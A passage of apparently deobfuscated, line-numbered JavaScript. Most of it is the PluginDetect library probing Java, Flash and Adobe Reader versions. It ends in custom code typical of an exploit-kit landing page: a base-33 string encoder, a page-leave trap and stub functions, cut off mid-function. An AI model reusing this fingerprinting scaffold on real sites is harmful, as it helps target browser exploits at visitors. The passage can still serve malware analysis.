  1089.            c.installed=(c.NOTF.isJavaActive(1)==1||c.lang.System.getProperty()[0])?0.5:-0.5
  1090.          }
  1091.          if(c.OTF==4&&(c.installed==-0.5||c.installed==0.5))
  1092.          {
  1093.            if(d)
  1094.            {
  1095.              c.installed=1
  1096.            }
  1097.            else
  1098.            {
  1099.              if(c.NOTF.isJavaActive(1)==1)
  1100.              {
  1101.                if(a)
  1102.                {
  1103.                  c.installed=1;
  1104.                  d=a
  1105.                }
  1106.                else
  1107.                {
  1108.                  c.installed=0
  1109.                }
  1110.              }
  1111.              else
  1112.              {
  1113.                if(a)
  1114.                {
  1115.                  c.installed=-0.2
  1116.                }
  1117.                else
  1118.                {
  1119.                  c.installed=-1
  1120.                }
  1121.              }
  1122.            }
  1123.          };
  1124.          if(a)
  1125.          {
  1126.            c.version0=e.formatNum(e.getNum(a))
  1127.          }
  1128.          if(d)
  1129.          {
  1130.            c.version=e.formatNum(e.getNum(d))
  1131.          }
  1132.          if(f&&e.isString(f))
  1133.          {
  1134.            c.vendor=f
  1135.          }
  1136.          if(!c.vendor)
  1137.          {
  1138.            c.vendor=""
  1139.          }
  1140.          if(c.verify&&c.verify.isEnabled())
  1141.          {
  1142.            c.getVersionDone=0
  1143.          }
  1144.          else
  1145.          {
  1146.            if(c.getVersionDone!=1)
  1147.            {
  1148.              if(c.OTF<2)
  1149.              {
  1150.                c.getVersionDone=0
  1151.              }
  1152.              else
  1153.              {
  1154.                c.getVersionDone=c.applet.can_Insert_Query_Any()?0:1
  1155.              }
  1156.            }
  1157.          }
  1158.        }
  1159.        ,DTK:
  1160.        {
  1161.          $:1,hasRun:0,status:null,VERSIONS:[],version:"",HTML:null,Plugin2Status:null,classID:["clsid:CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA","clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA"],mimeType:["application/java-deployment-toolkit","application/npruntime-scriptable-plugin;DeploymentToolkit"],disabled:function()
  1162.          {
  1163.            return this.$$.isDisabled.DTK()
  1164.          }
  1165.          ,query:function()
  1166.          {
  1167.            var k=this,g=k.$,d=k.$$,j,l,h,m=
  1168.            {
  1169.            }
  1170.            ,f=
  1171.            {
  1172.            }
  1173.            ,a,c=null,i=null,b=(k.hasRun||k.disabled());
  1174.            k.hasRun=1;
  1175.            if(b)
  1176.            {
  1177.              return k
  1178.            }
  1179.            k.status=0;
  1180.            if(g.isIE&&g.verIE>=6)
  1181.            {
  1182.              for(l=0;l<k.classID.length;l++)
  1183.              {
  1184.                k.HTML=g.insertHTML("object",["classid",k.classID[l]],[]);
  1185.                c=g.getDOMobj(k.HTML);
  1186.                try
  1187.                {
  1188.                  if(c&&c.jvms)
  1189.                  {
  1190.                    break
  1191.                  }
  1192.                }
  1193.                catch(j)
  1194.                {
  1195.                }
  1196.              }
  1197.            }
  1198.            else
  1199.            {
  1200.              if(!g.isIE&&(h=g.hasMimeType(k.mimeType))&&h.type)
  1201.              {
  1202.                k.HTML=g.insertHTML("object",["type",h.type],[]);
  1203.                c=g.getDOMobj(k.HTML)
  1204.              }
  1205.            }
  1206.            if(c)
  1207.            {
  1208.              try
  1209.              {
  1210.                a=c.jvms;
  1211.                if(a)
  1212.                {
  1213.                  i=a.getLength();
  1214.                  if(g.isNum(i))
  1215.                  {
  1216.                    k.status=i>0?1:-1;
  1217.                    for(l=0;l<i;l++)
  1218.                    {
  1219.                      h=g.getNum(a.get(i-1-l).version);
  1220.                      if(h)
  1221.                      {
  1222.                        k.VERSIONS.push(h);
  1223.                        f["a"+g.formatNum(h)]=1
  1224.                      }
  1225.                    }
  1226.                  }
  1227.                }
  1228.              }
  1229.              catch(j)
  1230.              {
  1231.              }
  1232.            }
  1233.            h=0;
  1234.            for(l in f)
  1235.            {
  1236.              h++
  1237.            }
  1238.            if(h&&h!==k.VERSIONS.length)
  1239.            {
  1240.              k.VERSIONS=[]
  1241.            }
  1242.            if(k.VERSIONS.length)
  1243.            {
  1244.              k.version=g.formatNum(k.VERSIONS[0])
  1245.            };
  1246.            return k
  1247.          }
  1248.        }
  1249.        ,AXO:
  1250.        {
  1251.          $:1,hasRun:0,VERSIONS:[],version:"",disabled:function()
  1252.          {
  1253.            return this.$$.isDisabled.AXO()
  1254.          }
  1255.          ,JavaVersions:[[1,9,1,40],[1,8,1,40],[1,7,1,40],[1,6,0,40],[1,5,0,30],[1,4,2,30],[1,3,1,30]],query:function()
  1256.          {
  1257.            var a=this,e=a.$,b=a.$$,c=(a.hasRun||a.disabled());
  1258.            a.hasRun=1;
  1259.            if(c)
  1260.            {
  1261.              return a
  1262.            }
  1263.            var i=[],k=[1,5,0,14],j=[1,6,0,2],h=[1,3,1,0],g=[1,4,2,0],f=[1,5,0,7],d=b.getInfo?true:false,l=
  1264.            {
  1265.            };
  1266.            if(e.verIE>=b.minIEver)
  1267.            {
  1268.              i=a.search(j,j,d);
  1269.              if(i.length>0&&d)
  1270.              {
  1271.                i=a.search(k,k,d)
  1272.              }
  1273.            }
  1274.            else
  1275.            {
  1276.              if(d)
  1277.              {
  1278.                i=a.search(f,f,true)
  1279.              }
  1280.              if(i.length==0)
  1281.              {
  1282.                i=a.search(h,g,false)
  1283.              }
  1284.            }
  1285.            if(i.length)
  1286.            {
  1287.              a.version=i[0];
  1288.              a.VERSIONS=[].concat(i)
  1289.            };
  1290.            return a
  1291.          }
  1292.          ,search:function(a,j,p)
  1293.          {
  1294.            var h,d,f=this,e=f.$,k=f.$$,n,c,l,q,b,o,r,i=[];
  1295.            if(e.compareNums(a.join(","),j.join(","))>0)
  1296.            {
  1297.              j=a
  1298.            }
  1299.            j=e.formatNum(j.join(","));
  1300.            var m,s="1,4,2,0",g="JavaPlugin."+a[0]+""+a[1]+""+a[2]+""+(a[3]>0?("_"+(a[3]<10?"0":"")+a[3]):"");
  1301.            for(h=0;h<f.JavaVersions.length;h++)
  1302.            {
  1303.              d=f.JavaVersions[h];
  1304.              n="JavaPlugin."+d[0]+""+d[1];
  1305.              b=d[0]+"."+d[1]+".";
  1306.              for(l=d[2];l>=0;l--)
  1307.              {
  1308.                r="JavaWebStart.isInstalled."+b+l+".0";
  1309.                if(e.compareNums(d[0]+","+d[1]+","+l+",0",j)>=0&&!e.getAXO(r))
  1310.                {
  1311.                  continue
  1312.                }
  1313.                m=e.compareNums(d[0]+","+d[1]+","+l+",0",s)<0?true:false;
  1314.                for(q=d[3];q>=0;q--)
  1315.                {
  1316.                  c=l+"_"+(q<10?"0"+q:q);
  1317.                  o=n+c;
  1318.                  if(e.getAXO(o)&&(m||e.getAXO(r)))
  1319.                  {
  1320.                    i.push(b+c);
  1321.                    if(!p)
  1322.                    {
  1323.                      return i
  1324.                    }
  1325.                  }
  1326.                  if(o==g)
  1327.                  {
  1328.                    return i
  1329.                  }
  1330.                }
  1331.                if(e.getAXO(n+l)&&(m||e.getAXO(r)))
  1332.                {
  1333.                  i.push(b+l);
  1334.                  if(!p)
  1335.                  {
  1336.                    return i
  1337.                  }
  1338.                }
  1339.                if(n+l==g)
  1340.                {
  1341.                  return i
  1342.                }
  1343.              }
  1344.            }
  1345.            return i
  1346.          }
  1347.        }
  1348.        ,navMime:
  1349.        {
  1350.          $:1,hasRun:0,mimetype:"",version:"",length:0,mimeObj:0,pluginObj:0,disabled:function()
  1351.          {
  1352.            return this.$$.isDisabled.navMime()
  1353.          }
  1354.          ,query:function()
  1355.          {
  1356.            var i=this,f=i.$,a=i.$$,b=(i.hasRun||i.disabled());
  1357.            i.hasRun=1;
  1358.            if(b)
  1359.            {
  1360.              return i
  1361.            };
  1362.            var n=/^\s*application\/x-java-applet;
  1363.            jpi-version\s*=\s*(\d.*)$/i,g,l,j,d="",h="a",o,m,k=
  1364.            {
  1365.            }
  1366.            ,c=f.formatNum("0");
  1367.            for(l=0;l<navigator.mimeTypes.length;l++)
  1368.            {
  1369.              o=navigator.mimeTypes[l];
  1370.              m=o?o.enabledPlugin:0;
  1371.              g=o&&n.test(o.type||d)?f.formatNum(f.getNum(RegExp.$1)):0;
  1372.              if(g&&m&&(m.description||m.name))
  1373.              {
  1374.                if(!k[h+g])
  1375.                {
  1376.                  i.length++
  1377.                }
  1378.                k[h+g]=o.type;
  1379.                if(f.compareNums(g,c)>0)
  1380.                {
  1381.                  c=g
  1382.                }
  1383.              }
  1384.            }
  1385.            g=k[h+c];
  1386.            if(g)
  1387.            {
  1388.              o=f.hasMimeType(g);
  1389.              i.mimeObj=o;
  1390.              i.pluginObj=o?o.enabledPlugin:0;
  1391.              i.mimetype=g;
  1392.              i.version=c
  1393.            };
  1394.            return i
  1395.          }
  1396.        }
  1397.        ,navPlugin:
  1398.        {
  1399.          $:1,hasRun:0,version:"",disabled:function()
  1400.          {
  1401.            return this.$$.isDisabled.navPlugin()
  1402.          }
  1403.          ,query:function()
  1404.          {
  1405.            var m=this,e=m.$,c=m.$$,h=c.navigator,j,l,k,g,d,a,i,f=0,b=(m.hasRun||m.disabled());
  1406.            m.hasRun=1;
  1407.            if(b)
  1408.            {
  1409.              return m
  1410.            };
  1411.            a=h.pluginObj.name||"";
  1412.            i=h.pluginObj.description||"";
  1413.            if(!f||c.debug)
  1414.            {
  1415.              g=/Java.*TM.*Platform[^\d]*(\d+)(?:[\.,_](\d*))?(?:\s*[Update]+\s*(\d*))?/i;
  1416.              if((g.test(a)||g.test(i))&&parseInt(RegExp.$1,10)>=5)
  1417.              {
  1418.                f="1,"+RegExp.$1+","+(RegExp.$2?RegExp.$2:"0")+","+(RegExp.$3?RegExp.$3:"0")
  1419.              }
  1420.            }
  1421.            if(!f||c.debug)
  1422.            {
  1423.              g=/Java[^\d]*Plug-in/i;
  1424.              l=g.test(i)?e.formatNum(e.getNum(i)):0;
  1425.              k=g.test(a)?e.formatNum(e.getNum(a)):0;
  1426.              if(l&&(e.compareNums(l,e.formatNum("1,3"))<0||e.compareNums(l,e.formatNum("2"))>=0))
  1427.              {
  1428.                l=0
  1429.              }
  1430.              if(k&&(e.compareNums(k,e.formatNum("1,3"))<0||e.compareNums(k,e.formatNum("2"))>=0))
  1431.              {
  1432.                k=0
  1433.              }
  1434.              d=l&&k?(e.compareNums(l,k)>0?l:k):(l||k);
  1435.              if(d)
  1436.              {
  1437.                f=d
  1438.              }
  1439.            }
  1440.            if(!f&&e.isSafari&&e.OS==2)
  1441.            {
  1442.              j=e.findNavPlugin("Java.*\d.*Plug-in.*Cocoa",0);
  1443.              if(j)
  1444.              {
  1445.                l=e.getNum(j.description);
  1446.                if(l)
  1447.                {
  1448.                  f=l
  1449.                }
  1450.              }
  1451.            };
  1452.            if(f)
  1453.            {
  1454.              m.version=e.formatNum(f)
  1455.            };
  1456.            return m
  1457.          }
  1458.        }
  1459.        ,lang:
  1460.        {
  1461.          $:1,System:
  1462.          {
  1463.            $:1,hasRun:0,result:[null,null],disabled:function()
  1464.            {
  1465.              return this.$$.isDisabled.windowDotJava()
  1466.            }
  1467.            ,getPropertyHas:function(a)
  1468.            {
  1469.              var b=this,d=b.$,c=b.getProperty()[0];
  1470.              return(a&&c&&d.compareNums(d.formatNum(a),d.formatNum(c))===0)?1:0
  1471.            }
  1472.            ,getProperty:function()
  1473.            {
  1474.              var f=this,g=f.$,d=f.$$,i,h=
  1475.              {
  1476.              }
  1477.              ,b=f.hasRun||f.disabled();
  1478.              f.hasRun=1;
  1479.              if(!b)
  1480.              {
  1481.                var a="java_qqq990";
  1482.                g[a]=null;
  1483.                try
  1484.                {
  1485.                  var c=document.createElement("script");
  1486.                  c.type="text/javascript";
  1487.                c.appendChild(document.createTextNode('(function(){var e,a;try{a=[window.java.lang.System.getProperty("java.version")+" ",window.java.lang.System.getProperty("java.vendor")+" "]}catch(e){};'+g.name+"."+a+"=a||0})();"));
  1488.                  g.head.insertBefore(c,g.head.firstChild);
  1489.                  g.head.removeChild(c)
  1490.                }
  1491.                catch(i)
  1492.                {
  1493.                }
  1494.                if(g[a]&&g.isArray(g[a]))
  1495.                {
  1496.                  f.result=[].concat(g[a])
  1497.                }
  1498.              }
  1499.              return f.result
  1500.            }
  1501.          }
  1502.        }
  1503.        ,applet:
  1504.        {
  1505.          $:1,results:[[null,null],[null,null],[null,null]],getResult:function()
  1506.          {
  1507.            var c=this.results,a,b=[];
  1508.            for(a=0;a<c.length;a++)
  1509.            {
  1510.              b=c[a];
  1511.              if(b[0])
  1512.              {
  1513.                break
  1514.              }
  1515.            }
  1516.            return[].concat(b)
  1517.          }
  1518.          ,HTML:[0,0,0],active:[0,0,0],DummyObjTagHTML:0,DummySpanTagHTML:0,allowed:[1,1,1],VerifyTagsHas:function(c)
  1519.          {
  1520.            var d=this,b;
  1521.            for(b=0;b<d.allowed.length;b++)
  1522.            {
  1523.              if(d.allowed[b]===c)
  1524.              {
  1525.                return 1
  1526.              }
  1527.            }
  1528.            return 0
  1529.          }
  1530.          ,saveAsVerifyTagsArray:function(c)
  1531.          {
  1532.            var b=this,d=b.$,a;
  1533.            if(d.isArray(c))
  1534.            {
  1535.              for(a=0;a<b.allowed.length;a++)
  1536.              {
  1537.                if(d.isNum(c[a]))
  1538.                {
  1539.                  if(c[a]<0)
  1540.                  {
  1541.                    c[a]=0
  1542.                  }
  1543.                  if(c[a]>3)
  1544.                  {
  1545.                    c[a]=3
  1546.                  }
  1547.                  b.allowed[a]=c[a]
  1548.                }
  1549.              }
  1550.            }
  1551.          }
  1552.          ,setVerifyTagsArray:function(d)
  1553.          {
  1554.            var b=this,c=b.$,a=b.$$;
  1555.            if(a.getVersionDone===null)
  1556.            {
  1557.              b.saveAsVerifyTagsArray(a.getVerifyTagsDefault())
  1558.            }
  1559.            if(a.debug||(a.verify&&a.verify.isEnabled()))
  1560.            {
  1561.              b.saveAsVerifyTagsArray([3,3,3])
  1562.            }
  1563.            else
  1564.            {
  1565.              if(d)
  1566.              {
  1567.                b.saveAsVerifyTagsArray(d)
  1568.              }
  1569.            }
  1570.          }
  1571.          ,allDisabled:function()
  1572.          {
  1573.            return this.$$.isDisabled.allApplets()
  1574.          }
  1575.          ,isDisabled:function(d)
  1576.          {
  1577.            var b=this,c=b.$,a=b.$$;
  1578.            if(d==2&&!c.isIE)
  1579.            {
  1580.              return 1
  1581.            }
  1582.            if(d===0||d==2)
  1583.            {
  1584.              return a.isDisabled.ObjectTag()
  1585.            }
  1586.            if(d==1)
  1587.            {
  1588.              return a.isDisabled.AppletTag()
  1589.            }
  1590.          }
  1591.          ,can_Insert_Query:function(b)
  1592.          {
  1593.            var a=this;
  1594.            if(a.HTML[b])
  1595.            {
  1596.              return 0
  1597.            }
  1598.            return !a.isDisabled(b)
  1599.          }
  1600.          ,can_Insert_Query_Any:function()
  1601.          {
  1602.            var b=this,a;
  1603.            for(a=0;a<b.results.length;a++)
  1604.            {
  1605.              if(b.can_Insert_Query(a))
  1606.              {
  1607.                return 1
  1608.              }
  1609.            }
  1610.            return 0
  1611.          }
  1612.          ,should_Insert_Query:function(d)
  1613.          {
  1614.            var b=this,e=b.allowed,c=b.$,a=b.$$;
  1615.            if(!b.can_Insert_Query(d))
  1616.            {
  1617.              return 0
  1618.            }
  1619.            if(e[d]==3)
  1620.            {
  1621.              return 1
  1622.            }
  1623.            if(e[d]==2.8&&!b.getResult()[0])
  1624.            {
  1625.              return 1
  1626.            }
  1627.            if(e[d]==2.5&&!a.lang.System.getProperty()[0])
  1628.            {
  1629.              return 1
  1630.            }
  1631.            if(e[d]==2.2&&!a.lang.System.getProperty()[0]&&!b.getResult()[0])
  1632.            {
  1633.              return 1
  1634.            }
  1635.            if(!a.nonAppletDetectionOk(a.version0))
  1636.            {
  1637.              if(e[d]==2)
  1638.              {
  1639.                return 1
  1640.              }
  1641.              if(e[d]==1&&!b.getResult()[0])
  1642.              {
  1643.                return 1
  1644.              }
  1645.            }
  1646.            return 0
  1647.          }
  1648.          ,should_Insert_Query_Any:function()
  1649.          {
  1650.            var b=this,a;
  1651.            for(a=0;a<b.allowed.length;a++)
  1652.            {
  1653.              if(b.should_Insert_Query(a))
  1654.              {
  1655.                return 1
  1656.              }
  1657.            }
  1658.            return 0
  1659.          }
  1660.          ,query:function(f)
  1661.          {
  1662.            var h,a=this,g=a.$,d=a.$$,i=null,j=null,b=a.results,c;
  1663.            if((b[f][0]&&b[f][1])||(d.debug&&d.OTF<3))
  1664.            {
  1665.              return
  1666.            }
  1667.            c=g.getDOMobj(a.HTML[f],true);
  1668.            if(c)
  1669.            {
  1670.              try
  1671.              {
  1672.                i=g.getNum(c.getVersion()+" ");
  1673.                j=c.getVendor()+" ";
  1674.                c.statusbar(g.winLoaded?" ":" ")
  1675.              }
  1676.              catch(h)
  1677.              {
  1678.              }
  1679.              if(i&&g.isStrNum(i))
  1680.              {
  1681.                b[f]=[i,j]
  1682.              }
  1683.              else
  1684.              {
  1685.              };
  1686.              try
  1687.              {
  1688.                if(g.isIE&&i&&c.readyState!=4)
  1689.                {
  1690.                  g.garbage=true;
  1691.                  c.parentNode.removeChild(c)
  1692.                }
  1693.              }
  1694.              catch(h)
  1695.              {
  1696.              }
  1697.            }
  1698.          }
  1699.          ,insert_Query_Any:function()
  1700.          {
  1701.            var d=this,i=d.$,e=d.$$,l=d.results,p=d.HTML,a="&nbsp;&nbsp;&nbsp;&nbsp;",g="A.class",m=i.file.getValid(e);
  1702.            if(!m)
  1703.            {
  1704.              return d.getResult()
  1705.            }
  1706.            if(e.OTF<1)
  1707.            {
  1708.              e.OTF=1
  1709.            }
  1710.            if(d.allDisabled())
  1711.            {
  1712.              return d.getResult()
  1713.            }
  1714.            if(e.OTF<1.5)
  1715.            {
  1716.              e.OTF=1.5
  1717.            }
  1718.            var j=m.name+m.ext,h=m.path;
  1719.            var f=["archive",j,"code",g],c=["mayscript","true"],o=["scriptable","true"].concat(c),n=e.navigator,b=!i.isIE&&n.mimeObj&&n.mimeObj.type?n.mimeObj.type:e.mimeType[0];
  1720.            if(d.should_Insert_Query(0))
  1721.            {
  1722.              if(e.OTF<2)
  1723.              {
  1724.                e.OTF=2
  1725.              };
  1726.              p[0]=i.isIE?i.insertHTML("object",["type",b],["codebase",h].concat(f).concat(o),a,e):i.insertHTML("object",["type",b],["codebase",h].concat(f).concat(o),a,e);
  1727.              l[0]=[0,0];
  1728.              d.query(0)
  1729.            }
  1730.            if(d.should_Insert_Query(1))
  1731.            {
  1732.              if(e.OTF<2)
  1733.              {
  1734.                e.OTF=2
  1735.              };
  1736.              p[1]=i.isIE?i.insertHTML("applet",["alt",a].concat(c).concat(f),["codebase",h].concat(c),a,e):i.insertHTML("applet",["codebase",h,"alt",a].concat(c).concat(f),[].concat(c),a,e);
  1737.              l[1]=[0,0];
  1738.              d.query(1)
  1739.            }
  1740.            if(d.should_Insert_Query(2))
  1741.            {
  1742.              if(e.OTF<2)
  1743.              {
  1744.                e.OTF=2
  1745.              };
  1746.              p[2]=i.isIE?i.insertHTML("object",["classid",e.classID],["codebase",h].concat(f).concat(o),a,e):i.insertHTML();
  1747.              l[2]=[0,0];
  1748.              d.query(2)
  1749.            }
  1750.            if(!d.DummyObjTagHTML&&!e.isDisabled.ObjectTag())
  1751.            {
  1752.              d.DummyObjTagHTML=i.insertHTML("object",[],[],a)
  1753.            }
  1754.            if(!d.DummySpanTagHTML)
  1755.            {
  1756.              d.DummySpanTagHTML=i.insertHTML("",[],[],a)
  1757.            };
  1758.            var k=e.NOTF;
  1759.            if(e.OTF<3&&k.shouldContinueQuery())
  1760.            {
  1761.              e.OTF=3;
  1762.              k.onIntervalQuery=i.handler(k.$$onIntervalQuery,k);
  1763.              if(!i.winLoaded)
  1764.              {
  1765.                i.WLfuncs0.push([k.winOnLoadQuery,k])
  1766.              }
  1767.              setTimeout(k.onIntervalQuery,k.intervalLength)
  1768.            };
  1769.            return d.getResult()
  1770.          }
  1771.        }
  1772.        ,NOTF:
  1773.        {
  1774.          $:1,count:0,countMax:25,intervalLength:250,shouldContinueQuery:function()
  1775.          {
  1776.            var e=this,d=e.$,c=e.$$,b=c.applet,a;
  1777.            for(a=0;a<b.results.length;a++)
  1778.            {
  1779.              if(b.HTML[a]&&!b.results[a][0]&&(b.allowed[a]>=2||(b.allowed[a]==1&&!b.getResult()[0]))&&e.isAppletActive(a)>=0)
  1780.              {
  1781.                return 1
  1782.              }
  1783.            }
  1784.            return 0
  1785.          }
  1786.          ,isJavaActive:function(d)
  1787.          {
  1788.            var f=this,c=f.$$,a,b,e=-9;
  1789.            for(a=0;a<c.applet.HTML.length;a++)
  1790.            {
  1791.              b=f.isAppletActive(a,d);
  1792.              if(b>e)
  1793.              {
  1794.                e=b
  1795.              }
  1796.            }
  1797.            return e
  1798.          }
  1799.          ,isAppletActive:function(c,a)
  1800.          {
  1801.            var d=this,b=d.$$.applet.active;
  1802.            if(!a)
  1803.            {
  1804.              b[c]=d.isAppletActive_(c)
  1805.            }
  1806.            return b[c]
  1807.          }
  1808.          ,isAppletActive_:function(d)
  1809.          {
  1810.            var g=this,f=g.$,b=g.$$,l=b.navigator,a=b.applet,h=a.HTML[d],i,k,c=0,j=f.getTagStatus(h,a.DummySpanTagHTML,a.DummyObjTagHTML,g.count);
  1811.            if(j==-2)
  1812.            {
  1813.              return -2
  1814.            }
  1815.            try
  1816.            {
  1817.              if(f.isIE&&f.verIE>=b.minIEver&&f.getDOMobj(h).object)
  1818.              {
  1819.                return 1
  1820.              }
  1821.            }
  1822.            catch(i)
  1823.            {
  1824.            }
  1825.            for(k=0;k<a.active.length;k++)
  1826.            {
  1827.              if(a.active[k]>0)
  1828.              {
  1829.                c=1
  1830.              }
  1831.            }
  1832.            if(j==1&&(f.isIE||((b.version0&&l.javaEnabled()&&l.mimeObj&&(h.tagName=="object"||c))||b.lang.System.getProperty()[0])))
  1833.            {
  1834.              return 1
  1835.            }
  1836.            if(j<0)
  1837.            {
  1838.              return -1
  1839.            }
  1840.            return 0
  1841.          }
  1842.          ,winOnLoadQuery:function(c,d)
  1843.          {
  1844.            var b=d.$$,a;
  1845.            if(b.OTF==3)
  1846.            {
  1847.              a=d.queryAllApplets();
  1848.              d.queryCompleted(a[1],a[2])
  1849.            }
  1850.          }
  1851.          ,$$onIntervalQuery:function(d)
  1852.          {
  1853.            var c=d.$,b=d.$$,a;
  1854.            if(b.OTF==3)
  1855.            {
  1856.              a=d.queryAllApplets();
  1857.              if(!d.shouldContinueQuery()||(c.winLoaded&&d.count>d.countMax))
  1858.              {
  1859.                d.queryCompleted(a[1],a[2])
  1860.              }
  1861.            }
  1862.            d.count++;
  1863.            if(b.OTF==3)
  1864.            {
  1865.              setTimeout(d.onIntervalQuery,d.intervalLength)
  1866.            }
  1867.          }
  1868.          ,queryAllApplets:function()
  1869.          {
  1870.            var g=this,f=g.$,e=g.$$,d=e.applet,b,a,c;
  1871.            for(b=0;b<d.results.length;b++)
  1872.            {
  1873.              d.query(b)
  1874.            }
  1875.            a=d.getResult();
  1876.            c=a[0]?true:false;
  1877.            return[c,a[0],a[1]]
  1878.          }
  1879.          ,queryCompleted:function(c,f)
  1880.          {
  1881.            var e=this,d=e.$,b=e.$$;
  1882.            if(b.OTF>=4)
  1883.            {
  1884.              return
  1885.            }
  1886.            b.OTF=4;
  1887.            var a=e.isJavaActive();
  1888.            b.setPluginStatus(c,f,0);
  1889.            if(b.funcs)
  1890.            {
  1891.              d.callArray(b.funcs)
  1892.            }
  1893.            if(d.onDoneEmptyDiv)
  1894.            {
  1895.              d.onDoneEmptyDiv()
  1896.            }
  1897.          }
  1898.        }
  1899.        ,zz:0
  1900.      }
  1901.      ,flash:
  1902.      {
  1903.        mimeType:"application/x-shockwave-flash",progID:"ShockwaveFlash.ShockwaveFlash",classID:"clsid:D27CDB6E-AE6D-11CF-96B8-444553540000",getVersion:function()
  1904.        {
  1905.          var b=function(i)
  1906.          {
  1907.            if(!i)
  1908.            {
  1909.              return null
  1910.            }
  1911.            var e=/[\d][\d\,\.\s]*[rRdD]
  1912.            {
  1913.              0,1
  1914.            }
  1915.            [\d\,]*/.exec(i);
  1916.            return e?e[0].replace(/[rRdD\.]/g,",").replace(/\s/g,""):null
  1917.          };
  1918.          var j=this,g=j.$,k,h,l=null,c=null,a=null,f,m,d;
  1919.          if(!g.isIE)
  1920.          {
  1921.            m=g.hasMimeType(j.mimeType);
  1922.            if(m)
  1923.            {
  1924.              f=g.getDOMobj(g.insertHTML("object",["type",j.mimeType],[],"",j));
  1925.              try
  1926.              {
  1927.                l=g.getNum(f.GetVariable("$version"))
  1928.              }
  1929.              catch(k)
  1930.              {
  1931.              }
  1932.            }
  1933.            if(!l)
  1934.            {
  1935.              d=m?m.enabledPlugin:null;
  1936.              if(d&&d.description)
  1937.              {
  1938.                l=b(d.description)
  1939.              }
  1940.              if(l)
  1941.              {
  1942.                l=g.getPluginFileVersion(d,l)
  1943.              }
  1944.            }
  1945.          }
  1946.          else
  1947.          {
  1948.            for(h=15;h>2;h--)
  1949.            {
  1950.              c=g.getAXO(j.progID+"."+h);
  1951.              if(c)
  1952.              {
  1953.                a=h.toString();
  1954.                break
  1955.              }
  1956.            }
  1957.            if(!c)
  1958.            {
  1959.              c=g.getAXO(j.progID)
  1960.            }
  1961.            if(a=="6")
  1962.            {
  1963.              try
  1964.              {
  1965.                c.AllowScriptAccess="always"
  1966.              }
  1967.              catch(k)
  1968.              {
  1969.                return"6,0,21,0"
  1970.              }
  1971.            }
  1972.            try
  1973.            {
  1974.              l=b(c.GetVariable("$version"))
  1975.            }
  1976.            catch(k)
  1977.            {
  1978.            }
  1979.            if(!l&&a)
  1980.            {
  1981.              l=a
  1982.            }
  1983.          }
  1984.          j.installed=l?1:-1;
  1985.          j.version=g.formatNum(l);
  1986.          return true
  1987.        }
  1988.      }
  1989.      ,adobereader:
  1990.      {
  1991.        mimeType:"application/pdf",navPluginObj:null,progID:["AcroPDF.PDF","PDF.PdfCtrl"],classID:"clsid:CA8A9780-280D-11CF-A24D-444553540000",INSTALLED:
  1992.        {
  1993.        }
  1994.        ,pluginHasMimeType:function(d,c,f)
  1995.        {
  1996.          var b=this,e=b.$,a;
  1997.          for(a in d)
  1998.          {
  1999.            if(d[a]&&d[a].type&&d[a].type==c)
  2000.            {
  2001.              return 1
  2002.            }
  2003.          }
  2004.          if(e.getMimeEnabledPlugin(c,f))
  2005.          {
  2006.            return 1
  2007.          }
  2008.          return 0
  2009.        }
  2010.        ,getVersion:function(l,j)
  2011.        {
  2012.          var g=this,d=g.$,i,f,m,n,b=null,h=null,k=g.mimeType,a,c;
  2013.          if(d.isString(j))
  2014.          {
  2015.            j=j.replace(/\s/g,"");
  2016.            if(j)
  2017.            {
  2018.              k=j
  2019.            }
  2020.          }
  2021.          else
  2022.          {
  2023.            j=null
  2024.          }
  2025.          if(d.isDefined(g.INSTALLED[k]))
  2026.          {
  2027.            g.installed=g.INSTALLED[k];
  2028.            return
  2029.          }
  2030.          if(!d.isIE)
  2031.          {
  2032.            a="Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in";
  2033.            if(g.getVersionDone!==0)
  2034.            {
  2035.              g.getVersionDone=0;
  2036.              b=d.getMimeEnabledPlugin(g.mimeType,a);
  2037.              if(!j)
  2038.              {
  2039.                n=b
  2040.              }
  2041.              if(!b&&d.hasMimeType(g.mimeType))
  2042.              {
  2043.                b=d.findNavPlugin(a,0)
  2044.              }
  2045.              if(b)
  2046.              {
  2047.                g.navPluginObj=b;
  2048.                h=d.getNum(b.description)||d.getNum(b.name);
  2049.                h=d.getPluginFileVersion(b,h);
  2050.                if(!h&&d.OS==1)
  2051.                {
  2052.                  if(g.pluginHasMimeType(b,"application/vnd.adobe.pdfxml",a))
  2053.                  {
  2054.                    h="9"
  2055.                  }
  2056.                  else
  2057.                  {
  2058.                    if(g.pluginHasMimeType(b,"application/vnd.adobe.x-mars",a))
  2059.                    {
  2060.                      h="8"
  2061.                    }
  2062.                  }
  2063.                }
  2064.              }
  2065.            }
  2066.            else
  2067.            {
  2068.              h=g.version
  2069.            }
  2070.            if(!d.isDefined(n))
  2071.            {
  2072.              n=d.getMimeEnabledPlugin(k,a)
  2073.            }
  2074.            g.installed=n&&h?1:(n?0:(g.navPluginObj?-0.2:-1))
  2075.          }
  2076.          else
  2077.          {
  2078.            b=d.getAXO(g.progID[0])||d.getAXO(g.progID[1]);
  2079.            c=/=\s*([\d\.]+)/g;
  2080.            try
  2081.            {
  2082.              f=(b||d.getDOMobj(d.insertHTML("object",["classid",g.classID],["src",""],"",g))).GetVersions();
  2083.              for(m=0;m<5;m++)
  2084.              {
  2085.                if(c.test(f)&&(!h||RegExp.$1>h))
  2086.                {
  2087.                  h=RegExp.$1
  2088.                }
  2089.              }
  2090.            }
  2091.            catch(i)
  2092.            {
  2093.            }
  2094.            g.installed=h?1:(b?0:-1)
  2095.          }
  2096.          if(!g.version)
  2097.          {
  2098.            g.version=d.formatNum(h)
  2099.          }
  2100.          g.INSTALLED[k]=g.installed
  2101.        }
  2102.      }
  2103.      ,zz:0
  2104.    }
  2105.  };
  2106.  PluginDetect.initScript();
  2107.  PluginDetect.getVersion(".");
  2108.  var $$ = PluginDetect;
  2109.  function x(s)
  2110.  {
  2111.    d=[];
  2112.    for(i=0;i<s.length;i++)
  2113.    {
  2114.      k=(s.charCodeAt(i)).toString(33);
  2115.      d.push(k);
  2116.    };
  2117.    return d.join(":");
  2118.  }
  2119.  end_redirect=function()
  2120.  {
  2121.  };
  2122.  window.onbeforeunload=function()
  2123.  {
  2124.    return "";
  2125.  };
  2126.  function j1()
  2127.  {
  2128.    return true;
  2129.  }
  2130.  function j2()
  2131.  {
  2132.    return true;
  2133.  }
  2134.  function p1()
  2135.  {
  2136.    var d=document.createElement("div");
